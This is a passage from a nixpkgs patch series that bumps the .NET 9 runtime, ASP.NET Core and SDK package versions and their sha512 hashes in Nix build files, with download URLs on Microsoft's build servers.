-        hash = "sha512-gXQpEX6W6CWyUpmX1zbRE4pGR3c0EJLbBqkXOpqiPpLc/qh6in+tC4MhGWesCNLOsZXf0nlFikBUouKeX4heUA==";
+        version = "9.0.9";
+        hash = "sha512-aHeIlK4Ve8U503fKPmZghAIeN3Ws/9iRLmsey5ObIS4UkR7+lFZDoCFAcqWKCi+UAQERLudqorKkHWLsAWytsg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "9.0.8";
-        hash = "sha512-shIJcIsVRmlyuiBNu/OJ0cl3YS2g8LAUwN+r42Jin+HZYkZE5Esf3Zl6KNrBG4JdhZD32jNZ9JE/m0uB0PbLRQ==";
+        version = "9.0.9";
+        hash = "sha512-VaEZPPqvJasmjS2URZzIhF89xVqx4FywxeWaXTIhNSJ6lbgyZ7L7s558fii+L/7nTQ2fOXARKZykSHeLvPBMlQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "9.0.8";
-        hash = "sha512-ubHRXN/19HpDTzlaXIAJUVOpfgOOnsPwIwxk+rlaO1nv2w74aa8dUQGtPeqNkpo87CSdwpc1uaDe79NLGeY0HQ==";
+        version = "9.0.9";
+        hash = "sha512-M3umAJUMNf59Vb28nAU+QLT30NP41jd9HaJ8MQi4Kf8ncJ6P8obpwSjMgS71ZtqSZBT2pNXAo/FU3xjzIQ6K4w==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-RFXToE31qPxev1Ei0hosMf8jN9U9hivDSiTWGFaBg8Bjyeai5YZ4JcYfNi3yNyaBKrra8sdPtcKMBHn3JtRnTw==";
+        version = "9.0.9";
+        hash = "sha512-EfonSMd6dCLyyUuscaCtE1h0NTYE1RjeLPVU2NHXw3vBRy0w2lSTNqJp83bT+2rejSpw3L0FU0jMmt2w9UhbhA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "9.0.8";
-        hash = "sha512-Hq2Jkbv1dN5A6hojoNpZYsWdHlmALRRZSAxWY6y/bYfwczY7xRXPcwDWcXg3TgURZ3tYDjLAZmKvmkxe8CGOWQ==";
+        version = "9.0.9";
+        hash = "sha512-0fcf+gMcarIvA1WT9bj2Zf3as4lz2xUAp2KAM5D/qq5ZYcH2WqIJHH5FTAcDNZ6fFziDad+ufuR0z2KCjNiQ2Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "9.0.8";
-        hash = "sha512-iAKhXmVqwtB1oU09QaFgY1rHegt+GczpjlpmKibZCGjewULMevVnFaNTUGgnNKfnFziEy9Ou9khGyRjumrDbsg==";
+        version = "9.0.9";
+        hash = "sha512-QCrojepAqm6pzOipcLvYOz0WzlqrfW9rQa0s9bjQ905i1AYIxGE65yg8jVJwDkJofPp3sKSNIyQXY/2fb5ffKg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "9.0.8";
-        hash = "sha512-JTcyKAl8lxnWoIptRAw9qdF1wfxKQb6JNs898g/HJQIOBQCuW6DkJy7TAn6QHhJPQ0o5KS4LtG/wCTs05IO3+g==";
+        version = "9.0.9";
+        hash = "sha512-tISq/TnUjXKtrDy2AKTjQuavexCpspcuylFZ4ySov3HEgCGmPA8v6JYhIRR6yAKuAJy0tvL4wt8W8kvOgPGpog==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-SkW+QLlwQVY3G1yYd8ECVY22NtMo+gkGvnzOSQqsQ91e1Ihf8kGtAQ8mX8/NNmM4ekj7XuwsdGK6mt89HNoFXA==";
+        version = "9.0.9";
+        hash = "sha512-VaPzur2V/itmMg81CVVTNyJ2JG8N+HceVL4BLGEiF02mRo8Th9JOTjU74YzpURJ+W0Ubdt2AR7rLWSmBNCGMKQ==";
       })
     ];
   };
 
 in
 rec {
-  release_9_0 = "9.0.8";
+  release_9_0 = "9.0.9";
 
   aspnetcore_9_0 = buildAspNetCore {
-    version = "9.0.8";
+    version = "9.0.9";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-arm.tar.gz";
-        hash = "sha512-qZREscunr0rNEtmtQSb+Ss3fLvDgK5md4LwYU3QuE27/sD7XrcKgpHBi0AUbMXkyCkf9PSOdD7hvl3W3PeQ9Gg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.9/aspnetcore-runtime-9.0.9-linux-arm.tar.gz";
+        hash = "sha512-3ipS6kqbhyrb4hcJ1uHYhzHkIFcDe4Jvk9ucmLDujRDrMVn73IQhNF8pfPo11pKnNr5l4WRU2y5NNAs7uSjM4Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-arm64.tar.gz";
-        hash = "sha512-zx5y9LMnuTwaw/Le+cqDvuJ6QI5bWRP4TtlUz9bEY52hZk/j9OOSWIPbd+0p+lNkucqK83lvM8pzpMt0hOMmvA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.9/aspnetcore-runtime-9.0.9-linux-arm64.tar.gz";
+        hash = "sha512-zS0k4W7f29NCh6SuJeClF6rxu/oP/U07x+rGPYXdVE1DsS0IGqJBmvE6wn/bUk+Rjs8v36kWA5rtZtUCMYpy7g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-x64.tar.gz";
-        hash = "sha512-CK/fkk0A+HW0TMTv9otV+5tj5Mxo5rXN6HPaK86cW19BIOhptqHf3qSrEEqwrIeD7xV3tNMnWq6JmlPNiBMPHQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.9/aspnetcore-runtime-9.0.9-linux-x64.tar.gz";
+        hash = "sha512-f/G1F8RbLHcg/BvoCIQsW39kT/kTjyIYYmIOI2YNtSi1lh95FDSqdYhcgI7LO/nSE6M+j/PqpHfffWJW0hWmxA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-arm.tar.gz";
-        hash = "sha512-RND6DTb5z/mT9wie/TsrPg5g1AO8K1o5URa+fWtDqCRx4qu0TNFwJGStMCM3vD4M5J4kLwL6FKEUKI8PimYilg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.9/aspnetcore-runtime-9.0.9-linux-musl-arm.tar.gz";
+        hash = "sha512-joG2ImzqEELoXG8y/t5fVx4Zq0Sr68soQbclKTCP59PYS2d8GdEvVzo3eA/cOw/nvDkiw6Ac8ItdV6WcGOrDGg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-arm64.tar.gz";
-        hash = "sha512-5ExwXEbRT8tXVPF7o0bqKHb8G9tEv6A3K0jAmXkZmnaOuCdmuOfiK53AGnw4uFPvG1P4stxX3vFbPcJf0I6yVg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.9/aspnetcore-runtime-9.0.9-linux-musl-arm64.tar.gz";
+        hash = "sha512-4y2qLqw+0y1yyTUY8ytx88DvfqUkXwTo6eHWshDaFJNAB5ZwoQiFzEDYsSKuiY+Q+cnqtirGSVA9mvEyeW8UaA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-x64.tar.gz";
-        hash = "sha512-5D3IU1sy+f0Xtrgc+7l1vkbwn3eTAkBC5i/htJnbZu6tbbESylH+/ZojxnbLbcsBkcWYXC9TQGmB9OFfC272Zw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.9/aspnetcore-runtime-9.0.9-linux-musl-x64.tar.gz";
+        hash = "sha512-rZBDC4/Enl8DVK+JPhVd6z59nmUKCKgRJZVuVc34ghQI1OnWAq5tJ7Jd+HBe0qTKglDakIax0ycKtffQmQ5Ulw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-osx-arm64.tar.gz";
-        hash = "sha512-T+od1lxCvVoGUOG+m2K8ygX0jKLI0bWX6VjGX5TfZZZmUHx+twPdnQbyStAHmI/pKvc2P+2z20lQK4pcVPmthA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.9/aspnetcore-runtime-9.0.9-osx-arm64.tar.gz";
+        hash = "sha512-HtiNUoiZPve4Hc9mKUJoTTBx0WC0p3pvwvC8r4tgjCr/hi7MuB9CjxhBA127FAaeDuV1JXLjLmqrAYqNOq/OXg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-osx-x64.tar.gz";
-        hash = "sha512-cOgD8+BEnqxWQ43hL4dx8yJgcpbuU+DmiWziEfXa/gg/XzP54sdsVAEsk/wblR4MFjDJdEd3fcRovvn7EZSfww==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.9/aspnetcore-runtime-9.0.9-osx-x64.tar.gz";
+        hash = "sha512-wl7EpMuh2GfWvXkH0LGokDyLOMNJyy1xvnCgcukbWURrhCZ2DOvWpfOHHzWpzF3lDpf3LCBF4D5lAV5kJJaiSw==";
       };
     };
   };
 
   runtime_9_0 = buildNetRuntime {
-    version = "9.0.8";
+    version = "9.0.9";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-arm.tar.gz";
-        hash = "sha512-XitlwgOdZuHGyasekrvUh/zRvXphI8FwvqzbHOJGiNc0noSuizhr11i9JHK3NtGO3qg3DMY+tV+sCqs1ZYgP3g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.9/dotnet-runtime-9.0.9-linux-arm.tar.gz";
+        hash = "sha512-rJxs5NQ+i8YuZT00XTK1QYaUTvd4cR9/g1Lfvj5fuoY/jgiHcdKe+/0t9x2hUShhshAvddKnS7KI1RCx+ilFhA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-arm64.tar.gz";
-        hash = "sha512-MBXpX/DDc7jVlJHPHDIMgPTsdBjWNAC/ZQjU4l5xpH2yhUkVNIqxhuWKktWsLyD77BPWPfXF9gH/SvXynD2c0w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.9/dotnet-runtime-9.0.9-linux-arm64.tar.gz";
+        hash = "sha512-SGjAZGfLXbDHDUA3Yxdl1jn24Pq3gNNjHwSyL/Ov7/iKpbmQBIhtoG9uRDlngZI0xFkV0pKcBm7dhST+JcUdCw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-x64.tar.gz";
-        hash = "sha512-92luoqMKErrQyPcyGsQoQ87TBxhNiUyUpkyFKJs88wk23zc/9YVDzpt3YFqAJD0fx3e8lZV1Y0qq2cqogPv4Zg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.9/dotnet-runtime-9.0.9-linux-x64.tar.gz";
+        hash = "sha512-T69+YViA42gGgeGBCOjxKIB0/UPmrAzRwkS1bov/em6ovaKnHs2EvACRCUq8v3kqnaH6rycf1DEpdzZC4nsl1w==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-arm.tar.gz";
-        hash = "sha512-sQh1B3IPZCmiSihUVMzVSokifIXcsb3wwjQkdyMJR8kc4/FmW+diYRNqk1yXPUvtjF0c7AiX+GsJMWuq7h27Qg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.9/dotnet-runtime-9.0.9-linux-musl-arm.tar.gz";
+        hash = "sha512-1EbSMp9px1XSzzCXqO0mi65mvHMegt0otm5oePqhPV0Ik96QZv+eX+qd0g8Fg25oIgnNXrSjlpv4d3qSXeTnfg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-arm64.tar.gz";
-        hash = "sha512-AYQXIV58CoKhnsfhGaQ4vKkYucRI84SyffuH+YGpiKwhTFdvKKrv7IV0WwBc/3C/0pm+Mb8k4xlVOKTpH6bv4w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.9/dotnet-runtime-9.0.9-linux-musl-arm64.tar.gz";
+        hash = "sha512-kybCaV4zt8GECzPBUJFn52Y5H97uETHL1kuNwSLB/l04y3Dp96bc808yylipYOlTWlLQ3XXyxNMwBQQxE9vJZg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-x64.tar.gz";
-        hash = "sha512-oAgYUGPY80Y15AMoMTrzHnuuI5yNokcmsf8gEuyTDDLvDcDWcpKuvE2FMNKyb6Rs/7M5PPFrzfZsEOqINFitcQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.9/dotnet-runtime-9.0.9-linux-musl-x64.tar.gz";
+        hash = "sha512-o30yHsCQ8PlHJkYyCT21xohfkT2gNsvUcSL766vHVMFQqsSYxLce/W9kGW4RFKOXx+OW03Ause0AWA67FQ7Myw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-osx-arm64.tar.gz";
-        hash = "sha512-+n7QPNWl4FVfZfjwEBx3Yua/2gBfpJWvoSZRjU1ByXNMZX/DWc+A+Qv2+/GGwmrwOBnbrdUlHpftTL0Ej8J7OA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.9/dotnet-runtime-9.0.9-osx-arm64.tar.gz";
+        hash = "sha512-wJWKMlJ9/h9B2lctqQ3d7SpTTx5Ore31EpZS0QooFgYOMo1VG2VGeJr2cVlGJxL2lLXEL1Or7izEYZP7Q6IfIw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-osx-x64.tar.gz";
-        hash = "sha512-M5jxrKx2R+Jc0kdoBMWtJkyhjhUtDiKzLr2mvV13RMHpMqqQhq7NN5S4208vcl7SD/3UT/YV5ygaCsXdlQc7nw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.9/dotnet-runtime-9.0.9-osx-x64.tar.gz";
+        hash = "sha512-YsL2HrbB7d0y6hV3nGBWo/0zy9FP1U2bMAhjCkn5f4lQJs1Oy6g8lhAw39eDyuSA/nw2E0KNKIGlxa9O6n+j/w==";
       };
     };
   };
 
   sdk_9_0_3xx = buildNetSdk {
-    version = "9.0.304";
+    version = "9.0.305";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-arm.tar.gz";
-        hash = "sha512-1DMobseBFScRB7VZj7zPu5ZnWQ4TMYUvvzHsFIdinNYGrT1cL+zQrZTM2wKTF7eynz9VMIs4Tucrq9/aBle2vA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.305/dotnet-sdk-9.0.305-linux-arm.tar.gz";
+        hash = "sha512-dxFj7TY8UaGrImqxQqGw/dCcZ14uCpedAsaBbLVC0Jwm01PvIBIbp6VtI1NN+WsGRcuUoGHXMWpWPjW8PnOwug==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-arm64.tar.gz";
-        hash = "sha512-Xs9LfNwvq29/plp0jm4va9XQThYOV/7jVtMiU6iMrPlzGSN9oSNmRwhVBfcGmQy2FiV9lsrO0ft2hjIuP72PHQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.305/dotnet-sdk-9.0.305-linux-arm64.tar.gz";
+        hash = "sha512-u9pgPRChNOT+9FlyA0kZN7tPuu7hkPi23see54KSofUoqELtRLems3tJUXzxnHKFUQeMxrIcCystbYEfyV+cjg==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-x64.tar.gz";
-        hash = "sha512-sIeCjVldDGiGv2UsafORAwP0VazLGslWQD95UIDFXK9Zcy874OMfx0Sv8TWRqS4e/rZG7zymFl7RejzRKmeyKQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.305/dotnet-sdk-9.0.305-linux-x64.tar.gz";
+        hash = "sha512-+RQOFB1zHTfem24eqwslcm8LneJNKIikIAZJiA6eQ2ceuziXokn0MkwhTVbrPn8O8M+lazKFCpwDgRsh5jd7yg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-musl-arm.tar.gz";
-        hash = "sha512-8enI84bN6myUZ+u2artY6xzJd+YleCYQH8gCGZNl2WHIExckpisbDU6TA+jS3BIafgNqTOgDTMNFxIid3ukt0A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.305/dotnet-sdk-9.0.305-linux-musl-arm.tar.gz";
+        hash = "sha512-K9N86Ycyoe1dQQO5Pnz0Jb4RGsXSTxC930GeKFCQ6tZ3QRxTY1EnvmRTG6DFHRja8W0yCv7aigBRfwoukuwrhA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-musl-arm64.tar.gz";
-        hash = "sha512-s2wpW2hGx8dAerh7tthY/17l3od+jaXtPR2XDsAsm+OOJCfM1U4eEPUXwJKMp730svXZHAs7RoxEI2bg/ogg5Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.305/dotnet-sdk-9.0.305-linux-musl-arm64.tar.gz";
+        hash = "sha512-7wAN4jGjrsvYTFAEBKD/9d7+9PZRbzifLb5CTKwn3J03xPGFa7p6/Uq3ltw5stkMULdjfzqaomjCRhWD3O8Yqg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-musl-x64.tar.gz";
-        hash = "sha512-1GvUQh40uGSIK0UI621sF19rUMxdLzhjZF6TGsOY8t5ma9QU+obdUwlOeVjvm3Gzs8hIQ4YZjBQg6VFvnULIoQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.305/dotnet-sdk-9.0.305-linux-musl-x64.tar.gz";
+        hash = "sha512-94d42Zee2EQ+EPV1uXpxicxjLhAjtWcQ9fuazQMCZ+GpKsZtM9RAD+4i5eNsitXVm30RAYV+IRcOt/1UA1JOCw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-osx-arm64.tar.gz";
-        hash = "sha512-r9TiWB7VvFPeYMEMXcpXFYilHZXMkLgy5Ykrp9+seOOBK3WhMrU8OVchc3CSk1zqce0PQKqr6dMmRXBDx1BZjQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.305/dotnet-sdk-9.0.305-osx-arm64.tar.gz";
+        hash = "sha512-V/PWT88Dz9ysTkzg/ItVMlXdU4AHtuBdr39CWihqBE3lT/Z7HMyg6WAeZ+MigQzAWQIe+AWwLeg9WCi3hylBzw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-osx-x64.tar.gz";
-        hash = "sha512-MNJfqE4x3DhSv+OwwPHGnVMTaC4X2NVxsT+JuouitE/wksZ8OoZXeBuw6CQ/VLxRhBsLReJk6G3wV+ea1F01bw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.305/dotnet-sdk-9.0.305-osx-x64.tar.gz";
+        hash = "sha512-asCTTDgBzp27WJJ5k0joAtZN7q9hqlaYJgLZ0v3n1mvdhVu9FWaWJhsGXwxq1BQLHSlC17z+8MWjDCO/1f/QYw==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -523,39 +523,39 @@ rec {
   };
 
   sdk_9_0_1xx = buildNetSdk {
-    version = "9.0.109";
+    version = "9.0.110";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-arm.tar.gz";
-        hash = "sha512-QJEtXxu/WbBx0uHTHsHZq93b893GSzIz58fpFpawI+H6eglHJdOZW5MciAA4Ql7OvAXwE/dZYye/SWaSnpgBtQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.110/dotnet-sdk-9.0.110-linux-arm.tar.gz";
+        hash = "sha512-7MKKzj1ADdYEjkod5P7dCjpPNEgkBI4gk4WZug+Ar6b0thBYQ3vHEQaaWQnu2IoIg7TaGG4KwQSr7AxaNJg9Dw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-arm64.tar.gz";
-        hash = "sha512-Kd/68u4iQCxgHD4cvvNoKbow/jLpdrMfJH32BaFF76KafiPfUJ7YH6mm0T8eVYFeKlkiA6p5wudniNkBpuGrWA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.110/dotnet-sdk-9.0.110-linux-arm64.tar.gz";
+        hash = "sha512-Pia+La8ITGul2TLmqBbhXPyZfw2o7PfyxPyYSqJdXKOEHSvxpLuUirXisonvJ6N6Tz6rhA2WDu9oaDbJ0lV0Yw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-x64.tar.gz";
-        hash = "sha512-zDhqjnAJhVpumjqKFT2htc5UwuC3t64wVEXunw1XNVGN/u8Nj/MqREeC4180oxZ1ck4EBTYAGnbJ3Bt1W1omBQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.110/dotnet-sdk-9.0.110-linux-x64.tar.gz";
+        hash = "sha512-7UOpQly1Qk2W1PTMFlVL6G+nqezUTPEC13x1d50QNrNmNLZv2IX8qTOAAxgYdBsxj5UyKjynHg0Uzr2/6yLkCA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-arm.tar.gz";
-        hash = "sha512-62kBlt/TQmebHm0Mw/UAZ74dDypu+RFx/rcS5MSkkb7jgeNQBjgpDh5Z6TP3f1fMZL7ZLK1u6h62VnarikxmoQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.110/dotnet-sdk-9.0.110-linux-musl-arm.tar.gz";
+        hash = "sha512-VGJHpI+OUm/UmGlgTMA6aHdFgobl8C4V49rtf2MdTtd80qztDIstg61nczL068PTvpW85VPO31F3qtZsxKXx9w==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-arm64.tar.gz";
-        hash = "sha512-CZ+bh0Cjx1hBU8KWFg/Jb8y8GMfCRnjv9+ZCXWAsdw1TTE8ttWOTPNT+XJ6y1A99A6H2mu9em5RZDzYM9qFCgQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.110/dotnet-sdk-9.0.110-linux-musl-arm64.tar.gz";
+        hash = "sha512-StOknkxvDoLRMcH9QuHWZ1kYH1M2qnBUsuUD/B4/YMVpFDadpT/8B4hisOtIjcw/RIVOXp9k0haU2HQ2C+rwkw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-x64.tar.gz";
-        hash = "sha512-FonLs6wXs3SQOyFKFz8kFgByrlfMXRMH9bJgUbb/BAV3K2A7amx+8ZUvc3sYyfO5dvc1S4S4mra/Fb4g3QY2tg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.110/dotnet-sdk-9.0.110-linux-musl-x64.tar.gz";
+        hash = "sha512-n3rnIENhsiIZekinlrgobNrfWI6XLXhlZk2Ev1UqrUTexok9B4cce8Qx2A7l4zxn6+VBh6VD4/nsiKStGs1/Zg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-osx-arm64.tar.gz";
-        hash = "sha512-ri68P3dAq4gK9W4209Kh7lpU/BErb9zCUo8sjFmAjTZHbV+rXNqn0lgZsOSpARdF86nlxyaSzZMrMA62/YX1rw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.110/dotnet-sdk-9.0.110-osx-arm64.tar.gz";
+        hash = "sha512-Sc1ZgBa1hO/JRG/W/GEnmeW0YqxB/cmHmaavjHATIaBhmYJ+HlDRJp8ddFbjkysR9gT/O0Lw2anErHwgR0pJkA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-osx-x64.tar.gz";
-        hash = "sha512-O3Lvl5RoYzAitNIi2jGnP45zjR6n1ENAghXecxGCTk8lycbdGTxEAUwmVZIoKTiVwWSlGTTzB+FT2SfnDLbztw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.110/dotnet-sdk-9.0.110-osx-x64.tar.gz";
+        hash = "sha512-3i/spTBHsFyhcQZ/2h3ONPE2elQ/K7xqBwUXS+aA3U1rxrmcfYzPaL/agi9Jj8ZFm4sMbD0j2tuOMBFRkfR5ug==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From c4a8fc65fe5828c7aca862ac2e7e24ae877d2d00 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 10 Sep 2025 16:01:01 +0000
Subject: [PATCH 4501/4511] dotnetCorePackages.dotnet_9.vmr: 9.0.8 -> 9.0.9

(cherry picked from commit 95d2fb1dd54dcb7fb61cdec0ee768397cf29a711)
---
 .../compilers/dotnet/9/bootstrap-sdk.nix      | 376 +++++++++---------
 pkgs/development/compilers/dotnet/9/deps.json |  48 +--
 .../compilers/dotnet/9/release-info.json      |   6 +-
 .../compilers/dotnet/9/release.json           |  12 +-
 4 files changed, 221 insertions(+), 221 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
index 75a530ed8136..be63474d9fef 100644
--- a/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "9.0.7";
-      hash = "sha512-id6IbzqA6pn5TIbYABSCXpPeNwxUGZuMHbMnjeMs+GQIMFFf2Yr5BUy2kigmXoBtgx8RYHDT3PzOrRvcfX908A==";
+      version = "9.0.8";
+      hash = "sha512-HSxwnf37OGRcVt9qq6zwaPoqnve6MXpwjq/gzTagXAJTM3AgYE7gtAzFKUPj2/yYLAgdHEi2y+7N4e6LJXJAQQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "9.0.7";
-      hash = "sha512-TeNH3NfbaRL2t1vTSwK1nR41if3XBsvxIXl5XDeVBKp9uJ++D9S98KkNEAUAJLyV+6AZGgcDPlDSG5KjiZZ4vg==";
+      version = "9.0.8";
+      hash = "sha512-14cuFcWzlQUTtNwpeVNCP0q9bUfdm0lXFGd8fP47uulSBIJlcvUmucas1BpSmB9ofsVC+jcmkLr7EvK/l2zCXQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "9.0.7";
-      hash = "sha512-spN1zg0NHM482nnpPzXZYJKgxT+A44KLSswXbsTf+bDWdoZpMeBcODz3pNAz2Fg5PIcpR6amQgTy/G0JHoDqrw==";
+      version = "9.0.8";
+      hash = "sha512-rXC+UlNcK0NDSKCc6NTc6KGlBSKXvu0hP/oamJ0+6mgETnlySbRimOOp9ZOipoXitRk7sXdWBQH7F4Jy1UEFyg==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "9.0.7";
-      hash = "sha512-SiLChOzRKjrQHquCUytslPdSTgzUV8VHIvT7bertBM7BaidvQDfkl+0O7zrdxEUeN8ppHAsV1ZP+l5tPZiHv8w==";
+      version = "9.0.8";
+      hash = "sha512-LVju0J0eNHVvP8nQUmCiJIWTZrAo1TPoNRtMe4mB8WpqW+VzOHNkKNqycTCPxJ2ytN5DlQL055LtSLW7+lS/4Q==";
     })
     (fetchNupkg {
